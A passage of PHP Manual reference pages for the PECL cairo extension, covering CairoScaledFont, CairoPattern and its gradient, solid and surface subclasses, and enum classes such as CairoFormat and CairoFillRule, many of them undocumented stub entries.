CairoScaledFont::getType

(PECL cairo >= 0.1.0)

CairoScaledFont::getType — The getType purpose

Description

public int CairoScaledFont::getType ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::getType() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::getScaleMatrix
CairoScaledFont::glyphExtents
CairoScaledFont


The glyphExtents purpose

CairoScaledFont::getType
CairoScaledFont::status
CairoScaledFont
PHP Manual

CairoScaledFont::glyphExtents

(PECL cairo >= 0.1.0)

CairoScaledFont::glyphExtents — The glyphExtents purpose

Description

public array CairoScaledFont::glyphExtents ( string $glyphs )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

glyphs

Description...

Return Values

Description...

Examples

Example #1 CairoScaledFont::glyphExtents() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::getType
CairoScaledFont::status
CairoScaledFont


The status purpose

CairoScaledFont::glyphExtents
CairoScaledFont::textExtents
CairoScaledFont
PHP Manual

CairoScaledFont::status

cairo_status

(PECL cairo >= 0.1.0)

CairoScaledFont::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoScaledFont::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::glyphExtents
CairoScaledFont::textExtents
CairoScaledFont


The textExtents purpose

CairoScaledFont::status
CairoToyFontFace
CairoScaledFont
PHP Manual

CairoScaledFont::textExtents

cairo_text_extents

(PECL cairo >= 0.1.0)

CairoScaledFont::textExtents -- cairo_text_extents — The textExtents purpose

Description

Object oriented style (method):

public array CairoScaledFont::textExtents ( string $text )

Procedural style:

array cairo_text_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

text

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::status
CairoToyFontFace
CairoScaledFont


The CairoToyFontFace class

(No version information available, might only be in SVN)

Introduction

The CairoToyFontFace class can be used instead of CairoContext::selectFontFace() to create a toy font independently of a context.

Class synopsis

CairoToyFontFace extends CairoFontFace {
/* Inherited methods */
}

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::textExtents
CairoPatternType
Cairo


The CairoPatternType class

(No version information available, might only be in SVN)

Introduction

CairoPatternType is used to describe the type of a given pattern.

The type of a pattern is determined by the function used to create it. The cairo_pattern_create_rgb() and cairo_pattern_create_rgba() functions create CairoPatternType::SOLID patterns. The remaining cairo_pattern_create_* functions map to pattern types in obvious ways.

Class synopsis

CairoPatternType {
/* Constants */
const integer SOLID = 0 ;
const integer SURFACE = 1 ;
const integer LINEAR = 2 ;
const integer RADIAL = 3 ;
}

Predefined Constants

CairoPatternType::SOLID

The pattern is a solid (uniform) color. It may be opaque or translucent.

CairoPatternType::SURFACE

The pattern is a based on a surface (an image).

CairoPatternType::LINEAR

The pattern is a linear gradient.

CairoPatternType::RADIAL

The pattern is a radial gradient.

User Contributed Notes

There are no user contributed notes for this page.
CairoToyFontFace
CairoPattern
Cairo


The CairoPattern class

(No version information available, might only be in SVN)

Introduction

CairoPattern is the abstract base class from which all the other pattern classes derive. It cannot be instantiated directly

Class synopsis

CairoPattern {
/* Methods */
public __construct ( void )
public void getMatrix ( void )
public int getType ( void )
public void setMatrix ( string $matrix )
public int status ( void )
}

Table of Contents

  • CairoPattern::__construct — The __construct purpose
  • CairoPattern::getMatrix — The getMatrix purpose
  • CairoPattern::getType — The getType purpose
  • CairoPattern::setMatrix — The setMatrix purpose
  • CairoPattern::status — The status purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoPatternType
CairoPattern::__construct
Cairo


The __construct purpose

CairoPattern
CairoPattern::getMatrix
CairoPattern
PHP Manual

CairoPattern::__construct

(PECL cairo >= 0.1.0)

CairoPattern::__construct — The __construct purpose

Description

public CairoPattern::__construct ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPattern::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPattern
CairoPattern::getMatrix
CairoPattern


The getMatrix purpose

CairoPattern::__construct
CairoPattern::getType
CairoPattern
PHP Manual

CairoPattern::getMatrix

cairo_get_matrix

(PECL cairo >= 0.1.0)

CairoPattern::getMatrix -- cairo_get_matrix — The getMatrix purpose

Description

Object oriented style (method):

public void CairoPattern::getMatrix ( void )

Procedural style:

void cairo_get_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPattern::__construct
CairoPattern::getType
CairoPattern


The getType purpose

CairoPattern::getMatrix
CairoPattern::setMatrix
CairoPattern
PHP Manual

CairoPattern::getType

(PECL cairo >= 0.1.0)

CairoPattern::getType — The getType purpose

Description

public int CairoPattern::getType ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPattern::getType() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPattern::getMatrix
CairoPattern::setMatrix
CairoPattern


The setMatrix purpose

CairoPattern::getType
CairoPattern::status
CairoPattern
PHP Manual

CairoPattern::setMatrix

cairo_set_matrix

(PECL cairo >= 0.1.0)

CairoPattern::setMatrix -- cairo_set_matrix — The setMatrix purpose

Description

Object oriented style (method):

public void CairoPattern::setMatrix ( string $matrix )

Procedural style:

void cairo_set_matrix ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPattern::getType
CairoPattern::status
CairoPattern


The status purpose

CairoPattern::setMatrix
CairoGradientPattern
CairoPattern
PHP Manual

CairoPattern::status

cairo_status

(PECL cairo >= 0.1.0)

CairoPattern::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoPattern::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPattern::setMatrix
CairoGradientPattern
CairoPattern


The CairoGradientPattern class

(No version information available, might only be in SVN)

Introduction

CairoGradientPattern is an abstract base class from which other Pattern classes derive. It cannot be instantiated directly.

Class synopsis

CairoGradientPattern extends CairoPattern {
/* Methods */
public void addColorStopRgb ( string $offset , string $red , string $green , string $blue )
public void addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )
public int getColorStopCount ( void )
public array getColorStopRgba ( string $index )
public int getExtend ( void )
public void setExtend ( int $extend )
/* Inherited methods */
public CairoPattern::__construct ( void )
public void CairoPattern::getMatrix ( void )
public int CairoPattern::getType ( void )
public void CairoPattern::setMatrix ( string $matrix )
public int CairoPattern::status ( void )
}

Table of Contents

  • CairoGradientPattern::addColorStopRgb — The addColorStopRgb purpose
  • CairoGradientPattern::addColorStopRgba — The addColorStopRgba purpose
  • CairoGradientPattern::getColorStopCount — The getColorStopCount purpose
  • CairoGradientPattern::getColorStopRgba — The getColorStopRgba purpose
  • CairoGradientPattern::getExtend — The getExtend purpose
  • CairoGradientPattern::setExtend — The setExtend purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoPattern::status
CairoGradientPattern::addColorStopRgb
Cairo


The addColorStopRgb purpose

CairoGradientPattern
CairoGradientPattern::addColorStopRgba
CairoGradientPattern
PHP Manual

CairoGradientPattern::addColorStopRgb

(PECL cairo >= 0.1.0)

CairoGradientPattern::addColorStopRgb — The addColorStopRgb purpose

Description

public void CairoGradientPattern::addColorStopRgb ( string $offset , string $red , string $green , string $blue )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

offset

Description...

red

Description...

green

Description...

blue

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::addColorStopRgb() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern
CairoGradientPattern::addColorStopRgba
CairoGradientPattern


The addColorStopRgba purpose

CairoGradientPattern::addColorStopRgb
CairoGradientPattern::getColorStopCount
CairoGradientPattern
PHP Manual

CairoGradientPattern::addColorStopRgba

(PECL cairo >= 0.1.0)

CairoGradientPattern::addColorStopRgba — The addColorStopRgba purpose

Description

public void CairoGradientPattern::addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

offset

Description...

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::addColorStopRgba() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern::addColorStopRgb
CairoGradientPattern::getColorStopCount
CairoGradientPattern


The getColorStopCount purpose

CairoGradientPattern::addColorStopRgba
CairoGradientPattern::getColorStopRgba
CairoGradientPattern
PHP Manual

CairoGradientPattern::getColorStopCount

(PECL cairo >= 0.1.0)

CairoGradientPattern::getColorStopCount — The getColorStopCount purpose

Description

public int CairoGradientPattern::getColorStopCount ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoGradientPattern::getColorStopCount() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern::addColorStopRgba
CairoGradientPattern::getColorStopRgba
CairoGradientPattern


The getColorStopRgba purpose

CairoGradientPattern::getColorStopCount
CairoGradientPattern::getExtend
CairoGradientPattern
PHP Manual

CairoGradientPattern::getColorStopRgba

(PECL cairo >= 0.1.0)

CairoGradientPattern::getColorStopRgba — The getColorStopRgba purpose

Description

public array CairoGradientPattern::getColorStopRgba ( string $index )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::getColorStopRgba() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern::getColorStopCount
CairoGradientPattern::getExtend
CairoGradientPattern


The getExtend purpose

CairoGradientPattern::getColorStopRgba
CairoGradientPattern::setExtend
CairoGradientPattern
PHP Manual

CairoGradientPattern::getExtend

(PECL cairo >= 0.1.0)

CairoGradientPattern::getExtend — The getExtend purpose

Description

public int CairoGradientPattern::getExtend ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoGradientPattern::getExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern::getColorStopRgba
CairoGradientPattern::setExtend
CairoGradientPattern


The setExtend purpose

CairoGradientPattern::getExtend
CairoSolidPattern
CairoGradientPattern
PHP Manual

CairoGradientPattern::setExtend

(PECL cairo >= 0.1.0)

CairoGradientPattern::setExtend — The setExtend purpose

Description

public void CairoGradientPattern::setExtend ( int $extend )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

extend

Description...

Return Values

Description...

Examples

Example #1 CairoGradientPattern::setExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern::getExtend
CairoSolidPattern
CairoGradientPattern


The CairoSolidPattern class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoSolidPattern extends CairoPattern {
/* Methods */
public __construct ( float $red , float $green , float $blue [, float $alpha = 0 ] )
public array getRgba ( void )
/* Inherited methods */
public CairoPattern::__construct ( void )
public void CairoPattern::getMatrix ( void )
public int CairoPattern::getType ( void )
public void CairoPattern::setMatrix ( string $matrix )
public int CairoPattern::status ( void )
}

Table of Contents

  • CairoSolidPattern::__construct — The __construct purpose
  • CairoSolidPattern::getRgba — The getRgba purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoGradientPattern::setExtend
CairoSolidPattern::__construct
Cairo


The __construct purpose

CairoSolidPattern
CairoSolidPattern::getRgba
CairoSolidPattern
PHP Manual

CairoSolidPattern::__construct

(PECL cairo >= 0.1.0)

CairoSolidPattern::__construct — The __construct purpose

Description

public CairoSolidPattern::__construct ( float $red , float $green , float $blue [, float $alpha = 0 ] )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 CairoSolidPattern::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSolidPattern
CairoSolidPattern::getRgba
CairoSolidPattern


The getRgba purpose

CairoSolidPattern::__construct
CairoSurfacePattern
CairoSolidPattern
PHP Manual

CairoSolidPattern::getRgba

(PECL cairo >= 0.1.0)

CairoSolidPattern::getRgba — The getRgba purpose

Description

public array CairoSolidPattern::getRgba ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSolidPattern::getRgba() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSolidPattern::__construct
CairoSurfacePattern
CairoSolidPattern


The CairoSurfacePattern class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoSurfacePattern extends CairoPattern {
/* Methods */
public __construct ( CairoSurface $surface )
public int getExtend ( void )
public int getFilter ( void )
public void getSurface ( void )
public void setExtend ( int $extend )
public void setFilter ( string $filter )
/* Inherited methods */
public CairoPattern::__construct ( void )
public void CairoPattern::getMatrix ( void )
public int CairoPattern::getType ( void )
public void CairoPattern::setMatrix ( string $matrix )
public int CairoPattern::status ( void )
}

Table of Contents

  • CairoSurfacePattern::__construct — The __construct purpose
  • CairoSurfacePattern::getExtend — The getExtend purpose
  • CairoSurfacePattern::getFilter — The getFilter purpose
  • CairoSurfacePattern::getSurface — The getSurface purpose
  • CairoSurfacePattern::setExtend — The setExtend purpose
  • CairoSurfacePattern::setFilter — The setFilter purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoSolidPattern::getRgba
CairoSurfacePattern::__construct
Cairo


The __construct purpose

CairoSurfacePattern
CairoSurfacePattern::getExtend
CairoSurfacePattern
PHP Manual

CairoSurfacePattern::__construct

(PECL cairo >= 0.1.0)

CairoSurfacePattern::__construct — The __construct purpose

Description

public CairoSurfacePattern::__construct ( CairoSurface $surface )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern
CairoSurfacePattern::getExtend
CairoSurfacePattern


The getExtend purpose

CairoSurfacePattern::__construct
CairoSurfacePattern::getFilter
CairoSurfacePattern
PHP Manual

CairoSurfacePattern::getExtend

(PECL cairo >= 0.1.0)

CairoSurfacePattern::getExtend — The getExtend purpose

Description

public int CairoSurfacePattern::getExtend ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::getExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern::__construct
CairoSurfacePattern::getFilter
CairoSurfacePattern


The getFilter purpose

CairoSurfacePattern::getExtend
CairoSurfacePattern::getSurface
CairoSurfacePattern
PHP Manual

CairoSurfacePattern::getFilter

(PECL cairo >= 0.1.0)

CairoSurfacePattern::getFilter — The getFilter purpose

Description

public int CairoSurfacePattern::getFilter ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::getFilter() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern::getExtend
CairoSurfacePattern::getSurface
CairoSurfacePattern


The getSurface purpose

CairoSurfacePattern::getFilter
CairoSurfacePattern::setExtend
CairoSurfacePattern
PHP Manual

CairoSurfacePattern::getSurface

(PECL cairo >= 0.1.0)

CairoSurfacePattern::getSurface — The getSurface purpose

Description

public void CairoSurfacePattern::getSurface ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::getSurface() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern::getFilter
CairoSurfacePattern::setExtend
CairoSurfacePattern


The setExtend purpose

CairoSurfacePattern::getSurface
CairoSurfacePattern::setFilter
CairoSurfacePattern
PHP Manual

CairoSurfacePattern::setExtend

(PECL cairo >= 0.1.0)

CairoSurfacePattern::setExtend — The setExtend purpose

Description

public void CairoSurfacePattern::setExtend ( int $extend )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

extend

Description...

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::setExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern::getSurface
CairoSurfacePattern::setFilter
CairoSurfacePattern


The setFilter purpose

CairoSurfacePattern::setExtend
CairoLinearGradient
CairoSurfacePattern
PHP Manual

CairoSurfacePattern::setFilter

(PECL cairo >= 0.1.0)

CairoSurfacePattern::setFilter — The setFilter purpose

Description

public void CairoSurfacePattern::setFilter ( string $filter )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filter

Description...

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::setFilter() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern::setExtend
CairoLinearGradient
CairoSurfacePattern


The CairoLinearGradient class

(No version information available, might only be in SVN)

Introduction

Create a new CairoLinearGradient along the line defined

Class synopsis

CairoLinearGradient extends CairoGradientPattern {
/* Methods */
public __construct ( float $x0 , float $y0 , float $x1 , float $y1 )
public array getPoints ( void )
/* Inherited methods */
public void CairoGradientPattern::addColorStopRgb ( string $offset , string $red , string $green , string $blue )
public void CairoGradientPattern::addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )
public int CairoGradientPattern::getColorStopCount ( void )
public array CairoGradientPattern::getColorStopRgba ( string $index )
public int CairoGradientPattern::getExtend ( void )
public void CairoGradientPattern::setExtend ( int $extend )
}

Table of Contents

  • CairoLinearGradient::__construct — The __construct purpose
  • CairoLinearGradient::getPoints — The getPoints purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfacePattern::setFilter
CairoLinearGradient::__construct
Cairo


The __construct purpose

CairoLinearGradient
CairoLinearGradient::getPoints
CairoLinearGradient
PHP Manual

CairoLinearGradient::__construct

(PECL cairo >= 0.1.0)

CairoLinearGradient::__construct — The __construct purpose

Description

public CairoLinearGradient::__construct ( float $x0 , float $y0 , float $x1 , float $y1 )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x0

Description...

y0

Description...

x1

Description...

y1

Description...

Return Values

Description...

Examples

Example #1 CairoLinearGradient::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoLinearGradient
CairoLinearGradient::getPoints
CairoLinearGradient


The getPoints purpose

CairoLinearGradient::__construct
CairoRadialGradient
CairoLinearGradient
PHP Manual

CairoLinearGradient::getPoints

(PECL cairo >= 0.1.0)

CairoLinearGradient::getPoints — The getPoints purpose

Description

public array CairoLinearGradient::getPoints ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoLinearGradient::getPoints() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoLinearGradient::__construct
CairoRadialGradient
CairoLinearGradient


The CairoRadialGradient class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoRadialGradient extends CairoGradientPattern {
/* Methods */
public __construct ( float $x0 , float $y0 , float $r0 , float $x1 , float $y1 , float $r1 )
public array getCircles ( void )
/* Inherited methods */
public void CairoGradientPattern::addColorStopRgb ( string $offset , string $red , string $green , string $blue )
public void CairoGradientPattern::addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )
public int CairoGradientPattern::getColorStopCount ( void )
public array CairoGradientPattern::getColorStopRgba ( string $index )
public int CairoGradientPattern::getExtend ( void )
public void CairoGradientPattern::setExtend ( int $extend )
}

Table of Contents

  • CairoRadialGradient::__construct — The __construct purpose
  • CairoRadialGradient::getCircles — The getCircles purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoLinearGradient::getPoints
CairoRadialGradient::__construct
Cairo


The __construct purpose

CairoRadialGradient
CairoRadialGradient::getCircles
CairoRadialGradient
PHP Manual

CairoRadialGradient::__construct

(PECL cairo >= 0.1.0)

CairoRadialGradient::__construct — The __construct purpose

Description

Object oriented style:

public CairoRadialGradient::__construct ( float $x0 , float $y0 , float $r0 , float $x1 , float $y1 , float $r1 )

Procedural style:

Creates a new radial gradient CairoPattern between the two circles defined by (x0, y0, r0) and (x1, y1, r1). Before using the gradient pattern, a number of color stops should be defined using CairoRadialGradient::addColorStopRgb() or CairoRadialGradient::addColorStopRgba().

Note: The coordinates here are in pattern space. For a new pattern, pattern space is identical to user space, but the relationship between the spaces can be changed with CairoRadialGradient::setMatrix().

Parameters

x0

x coordinate for the center of the start circle.

y0

y coordinate for the center of the start circle.

r0

radius of the start circle.

x1

x coordinate for the center of the end circle.

y1

y coordinate for the center of the end circle.

r1

radius of the end circle.

Return Values

Description...

Examples

Example #1 CairoRadialGradient::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoRadialGradient
CairoRadialGradient::getCircles
CairoRadialGradient


The getCircles purpose

CairoRadialGradient::__construct
CairoAntialias
CairoRadialGradient
PHP Manual

CairoRadialGradient::getCircles

(PECL cairo >= 0.1.0)

CairoRadialGradient::getCircles — The getCircles purpose

Description

public array CairoRadialGradient::getCircles ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoRadialGradient::getCircles() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoRadialGradient::__construct
CairoAntialias
CairoRadialGradient


The CairoAntialias class

(No version information available, might only be in SVN)

Introduction

Enum class that specifies the type of antialiasing to do when rendering text or shapes.

Class synopsis

CairoAntialias {
/* Constants */
const integer MODE_DEFAULT = 0 ;
const integer MODE_NONE = 1 ;
const integer MODE_GRAY = 2 ;
const integer MODE_SUBPIXEL = 3 ;
}

Predefined Constants

CairoAntialias::MODE_DEFAULT

Use the default antialiasing for the subsystem and target device

CairoAntialias::MODE_NONE

Use a bilevel alpha mask

CairoAntialias::MODE_GRAY

Perform single-color antialiasing (using shades of gray for black text on a white background, for example).

CairoAntialias::MODE_SUBPIXEL

Perform antialiasing by taking advantage of the order of subpixel elements on devices such as LCD panels.

User Contributed Notes

There are no user contributed notes for this page.
CairoRadialGradient::getCircles
CairoContent
Cairo


The CairoContent class

(No version information available, might only be in SVN)

Introduction

CairoContent is used to describe the content that a surface will contain, whether color information, alpha information (translucence vs. opacity), or both.

Note: The large values here are designed to keep CairoContent values distinct from CairoContent values so that the implementation can detect the error if users confuse the two types.

Class synopsis

CairoContent {
/* Constants */
const integer COLOR = 4096 ;
const integer ALPHA = 8192 ;
const integer COLOR_ALPHA = 12288 ;
}

Predefined Constants

CairoContent::COLOR

The surface will hold color content only.

CairoContent::ALPHA

The surface will hold alpha content only.

CairoContent::COLOR_ALPHA

The surface will hold color and alpha content.

User Contributed Notes

There are no user contributed notes for this page.
CairoAntialias
CairoExtend
Cairo


The CairoExtend class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoExtend {
/* Constants */
const integer NONE = 0 ;
const integer REPEAT = 1 ;
const integer REFLECT = 2 ;
const integer PAD = 3 ;
}

Predefined Constants

CairoExtend::NONE

Description here...

CairoExtend::REPEAT

Description here...

CairoExtend::REFLECT

Description here...

CairoExtend::PAD

Description here...

User Contributed Notes

There are no user contributed notes for this page.
CairoContent
CairoFormat
Cairo


The CairoFormat class

(No version information available, might only be in SVN)

Introduction

CairoFormat enums are used to identify the memory format of the image data.

Class synopsis

CairoFormat {
/* Constants */
const integer ARGB32 = 0 ;
const integer RGB24 = 1 ;
const integer A8 = 2 ;
const integer A1 = 3 ;
/* Methods */
public static int strideForWidth ( int $format , int $width )
}

Predefined Constants

CairoFormat::ARGB32

Each pixel is a 32-bit quantity, with alpha in the upper 8 bits, then red, then green, then blue. The 32-bit quantities are stored native-endian. Pre-multiplied alpha is used. (That is, 50% transparent red is 0x80800000, not 0x80ff0000.)

CairoFormat::RGB24

Each pixel is a 32-bit quantity, with the upper 8 bits unused. Red, Green, and Blue are stored in the remaining 24 bits in that order.

CairoFormat::A8

Each pixel is a 8-bit quantity holding an alpha value.

CairoFormat::A1

Each pixel is a 1-bit quantity holding an alpha value. Pixels are packed together into 32-bit quantities. The ordering of the bits matches the endianess of the platform. On a big-endian machine, the first pixel is in the uppermost bit, on a little-endian machine the first pixel is in the least-significant bit.

Table of Contents

  • CairoFormat::strideForWidth — Provides an appropiate stride to use

User Contributed Notes

There are no user contributed notes for this page.
CairoExtend
CairoFormat::strideForWidth
Cairo


Provides an appropiate stride to use

CairoFormat
CairoFillRule
CairoFormat
PHP Manual

CairoFormat::strideForWidth

(PECL cairo >= 0.1.0)

CairoFormat::strideForWidth — Provides an appropiate stride to use

Description

public static int CairoFormat::strideForWidth ( int $format , int $width )

This method provides a stride value that will respect all alignment requirements of the accelerated image-rendering code within cairo.

Parameters

format

The desired CairoFormat to use

width

The width of the image

Return Values

The appropriate stride to use given the desired format and width, or -1 if either the format is invalid or the width too large.

Examples

Example #1 CairoFormat::strideForWidth() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFormat
CairoFillRule
CairoFormat


The CairoFillRule class

(No version information available, might only be in SVN)

Introduction

A CairoFillRule is used to select how paths are filled. For both fill rules, whether or not a point is included in the fill is determined by taking a ray from that point to infinity and looking at intersections with the path. The ray can be in any direction, as long as it doesn't pass through the end point of a segment or have a tricky intersection such as intersecting tangent to the path. (Note that filling is not actually implemented in this way. This is just a description of the rule that is applied.)

The default fill rule is CairoFillRule::WINDING.

Class synopsis

CairoFillRule {
/* Constants */
const integer WINDING = 0 ;
const integer EVEN_ODD = 1 ;
}

Predefined Constants

CairoFillRule::WINDING

If the path crosses the ray from left-to-right, counts +1. If the path crosses the ray from right to left, counts -1. (Left and right are determined from the perspective of looking along the ray from the starting point.) If the total count is non-zero, the point will be filled.

CairoFillRule::EVEN_ODD

Counts the total number of intersections, without regard to the orientation of the contour. If the total number of intersections is odd, the point will be filled.

User Contributed Notes

There are no user contributed notes for this page.
CairoFormat::strideForWidth
CairoFilter
Cairo


The CairoFilter class

(No version information available, might only be in SVN)

Introduction

A CairoFilter is used to indicate what filtering should be applied when reading pixel values from patterns. See CairoPattern::setSource() or cairo_pattern_set_source() for indicating the desired filter to be used with a particular pattern.

Class synopsis

CairoFilter {
/* Constants */
const integer FAST = 0 ;
const integer GOOD = 1 ;
const integer BEST = 2 ;
const integer NEAREST = 3 ;
const integer BILINEAR = 4 ;
const integer GAUSSIAN = 5 ;
}

Predefined Constants

CairoFilter::FAST

A high-performance filter, with quality similar to CairoFilter::NEAREST

CairoFilter::GOOD

A reasonable-performance filter, with quality similar to CairoFilter::BILINEAR

CairoFilter::BEST

